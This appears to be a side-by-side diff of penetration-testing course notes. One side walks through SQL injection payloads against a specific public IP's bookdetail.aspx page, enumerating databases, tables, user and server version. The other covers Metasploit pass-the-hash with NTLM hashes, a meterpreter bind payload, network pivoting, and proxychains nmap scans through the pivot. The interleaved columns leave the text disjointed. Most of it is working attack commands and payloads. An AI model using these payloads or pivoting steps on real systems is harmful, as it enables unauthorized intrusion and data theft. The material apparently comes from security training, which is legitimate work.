| 472 | set SMBPass 6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363 | |
| 473 | ||
| 474 | - | http://54.149.82.150/bookdetail.aspx?id=2 |
| 474 | + | set payload windows/meterpreter/bind_tcp |
| 475 | ||
| 476 | set RHOST 10.0.0.15 | |
| 477 | - | Ok, there is parameter passing (bookdetail.aspx?id=2). |
| 477 | + | |
| 478 | set LPORT 5678 | |
| 479 | - | The page name is: bookdetail.aspx |
| 479 | + | |
| 480 | - | The parameter name is: id |
| 480 | + | |
| 481 | - | The paramber value is: 2 |
| 481 | + | |
| 482 | ||
| 483 | ||
| 484 | - | Let's try throwing a single quote (') in there:
|
| 484 | + | |
| 485 | ||
| 486 | - | http://54.149.82.150/bookdetail.aspx?id=2' |
| 486 | + | |
| 487 | <-- background the session | |
| 488 | You want to get back to this prompt: | |
| 489 | - | I get the following error: |
| 489 | + | msf exploit(handler) > back <--- you need to get to main msf> prompt |
| 490 | ||
| 491 | - | Unclosed quotation mark after the character string ''. |
| 491 | + | |
| 492 | - | Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. |
| 492 | + | |
| 493 | sessions -l <--find a session you want to pivot through (note the IP and session number) | |
| 494 | - | Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''. |
| 494 | + | |
| 495 | Now set up Pivot with a route add | |
| 496 | --------------------------------- | |
| 497 | ||
| 498 | - | ############################################################################# |
| 498 | + | route print <--- should be blank |
| 499 | - | # SQL Injection # |
| 499 | + | |
| 500 | - | # https://s3.amazonaws.com/StrategicSec-Files/1-Intro_To_SQL_Intection.pptx # |
| 500 | + | route add 10.0.0.15 255.255.255.0 1 <-- Use correct session id (2), it may be 3, or 4 (make sure you are on msf> prommpt, not meterpreter) |
| 501 | - | ############################################################################# |
| 501 | + | |
| 502 | ||
| 503 | route print <----- verify new route | |
| 504 | - | - Another quick way to test for SQLI is to remove the paramter value |
| 504 | + | |
| 505 | ******************************Scan through your Pivot ****************************** | |
| 506 | ||
| 507 | use auxiliary/scanner/portscan/tcp <-- Run aux modules through your pivot | |
| 508 | - | # Error-Based SQL Injection # |
| 508 | + | |
| 509 | set THREADS 10 | |
| 510 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))-- |
| 510 | + | |
| 511 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))-- |
| 511 | + | set RHOSTS 10.0.0.0/24 <-- Keep changing this IP and re-running the scan until you find something you want to attack |
| 512 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))-- |
| 512 | + | |
| 513 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))-- |
| 513 | + | set PORTS 445 |
| 514 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))-- |
| 514 | + | |
| 515 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases |
| 515 | + | |
| 516 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))-- |
| 516 | + | |
| 517 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')-- |
| 517 | + | |
| 518 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')-- |
| 518 | + | #################################### |
| 519 | # Socks Tunneling with Proxychains # | |
| 520 | #################################### | |
| 521 | --- Open a duplicate putty session to your Ubuntu host | |
| 522 | ||
| 523 | sudo apt-get install -y proxychains | |
| 524 | - | # Union-Based SQL Injection # |
| 524 | + | strategicsec |
| 525 | ||
| 526 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 100-- |
| 526 | + | sudo vi /etc/proxychains.conf <--- Make sure that last line of the file is: socks4 127.0.0.1 1080 |
| 527 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 50-- |
| 527 | + | |
| 528 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 25-- |
| 528 | + | Comment out the proxy_dns, change the 9050 (tor port) to the metasploit socks proxy port (1080) and save it. |
| 529 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 10-- |
| 529 | + | socks4 127.0.0.1 1080 |
| 530 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 5-- |
| 530 | + | |
| 531 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 6-- |
| 531 | + | ***************************Set up a Socks Proxy through your Pivot ************************* |
| 532 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 7-- |
| 532 | + | |
| 533 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 8-- |
| 533 | + | |
| 534 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 9-- |
| 534 | + | |
| 535 | - | http://54.149.82.150/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9-- |
| 535 | + | |
| 536 | set SRVHOST 127.0.0.1 | |
| 537 | - | We are using a union select statement because we are joining the developer's query with one of our own. |
| 537 | + | |
| 538 | - | Reference: |
| 538 | + | |
| 539 | - | http://www.techonthenet.com/sql/union.php |
| 539 | + | |
| 540 | - | The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements. |
| 540 | + | |
| 541 | - | It removes duplicate rows between the various SELECT statements. |
| 541 | + | |
| 542 | --- Go back to your other putty session with the meterpreter shell | |
| 543 | - | Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types. |
| 543 | + | |
| 544 | ||
| 545 | - | http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9-- |
| 545 | + | proxychains nmap -sT -PN -vv -sV --script=smb-os-discovery.nse -p 445 192.168.153.0/24 <--- This is going to be really slow |
| 546 | ||
| 547 | - | Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed. |
| 547 | + | proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,1433,1521,3306,3389,8080,10000 10.0.0/24 <--- This is going to be really slow |
| 548 | ||
| 549 | - | http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9-- |
| 549 | + | |
| 550 | - | http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9-- |
| 550 | + | ---close the duplicate putty session to your Ubuntu host |